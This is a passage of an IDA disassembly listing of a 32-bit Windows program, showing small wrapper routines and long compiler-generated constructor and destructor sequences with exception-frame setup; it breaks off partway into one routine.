sub_4166B0	proc near		; CODE XREF: sub_4015A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4166B0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4166E0	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436872
sub_4166E0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416700	proc near		; CODE XREF: sub_4015E6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_402040
		add	esp, 8
		retn	8
sub_416700	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416730	proc near		; CODE XREF: sub_401D4Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_416730	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416750	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416750	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416770	proc near		; CODE XREF: sub_401F6Ej
		mov	eax, [ecx]
		retn
sub_416770	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416790	proc near		; CODE XREF: sub_4017D5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416790	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4167B0	proc near		; CODE XREF: sub_401E9Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4167B0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4167E0	proc near		; CODE XREF: sub_401857j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436872
sub_4167E0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416800	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020CC
		add	esp, 8
		retn	8
sub_416800	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416830	proc near		; CODE XREF: sub_4013F7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_416830	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416850	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416850	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416870	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_416870	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416890	proc near		; CODE XREF: sub_401E56j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416890	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168C0	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4168DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4168DB:				; CODE XREF: sub_4168C0+11j
		retn
sub_4168C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416910	proc near		; CODE XREF: sub_402040j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41692B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41692B:				; CODE XREF: sub_416910+11j
		retn
sub_416910	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416960	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41697B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41697B:				; CODE XREF: sub_416960+11j
		retn
sub_416960	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447108B9h
		dd 0B468E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 416A1068h, 0FF5CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
		dd 447108B9h, 0B22AE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416A30:				; CODE XREF: ___:00401C44j
		push	0FFFFFFFFh
		push	offset loc_43A081
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021DA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401EE2
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_40176C
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_401FF5
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401DED
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_40187A
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F28
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B27
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017D0
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018CA
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401EB0
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402216
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017A3
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A23
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C0
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401E83
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014F1
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AE6
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401C8F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401929
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_40143D
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416CA0	proc near		; CODE XREF: sub_401A23j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43E050
		test	eax, eax
		jle	short loc_416CB7
		push	eax
		call	near ptr 71AB9639h
		nop


loc_416CB7:				; CODE XREF: sub_416CA0+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416CA0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416CD0	proc near		; CODE XREF: ___:0040126Cj sub_4019BFj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A23
		test	[esp+4+arg_0], 1
		jz	short loc_416CE8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CE8:				; CODE XREF: sub_416CD0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416CD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D00	proc near		; CODE XREF: sub_4017A3j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43E05C
		test	eax, eax
		jle	short loc_416D17
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D17:				; CODE XREF: sub_416D00+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416D00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D30:				; CODE XREF: ___:00401627j
					; ___:loc_401C99j
		push	esi
		mov	esi, ecx
		call	sub_4017A3
		test	byte ptr [esp+8], 1
		jz	short loc_416D48
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416D48:				; CODE XREF: ___:00416D3Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D60	proc near		; CODE XREF: sub_40176Cj
		mov	dword ptr [ecx], offset	off_43E068
		jmp	sub_402031
sub_416D60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D80:				; CODE XREF: ___:loc_40191Aj
					; ___:0040218Aj
		push	esi
		mov	esi, ecx
		call	sub_40176C
		test	byte ptr [esp+8], 1
		jz	short loc_416D98
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416D98:				; CODE XREF: ___:00416D8Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416DB0	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43E074
		add	ecx, 4
		jmp	sub_401023
sub_416DB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416DD0:				; CODE XREF: ___:00401E42j
		push	0FFFFFFFFh
		push	offset loc_43A261
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_40209F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015DC
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_401FFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_4019F1
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_40157D
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_401645
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401776
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_401695
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_401820
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016B3
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_401415
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D11
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A7D
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CA3
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402103
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_401573
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_40178F
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_401424
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_401424
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_401424
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_401424
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_417050	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417050
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B09
sub_417050	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4170C0	proc near		; CODE XREF: sub_401929j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4170C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40206D
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40206D
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40206D
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40206D
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40206D
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AD2
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AD2
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AD2
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AD2
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AD2
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AD2
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AD2
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AD2
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AD2
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AD2
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AD2
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AD2
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AD2
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AD2
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AD2
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AD2
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AD2
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AD2
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AD2
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AD2
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AD2
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AD2
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AD2
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AD2
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AD2
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AD2
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AD2
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AD2
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AD2
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AD2
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AD2
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AD2
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4170C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4175E0	proc near		; CODE XREF: sub_4014F1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4175E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4175E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417680	proc near		; CODE XREF: sub_401E83j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417680
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417680	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417750	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417750
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417750	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417810	proc near		; CODE XREF: sub_402216j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417810
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417810	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4178D0	proc near		; CODE XREF: sub_401EB0j

var_10		= dword	ptr -10h
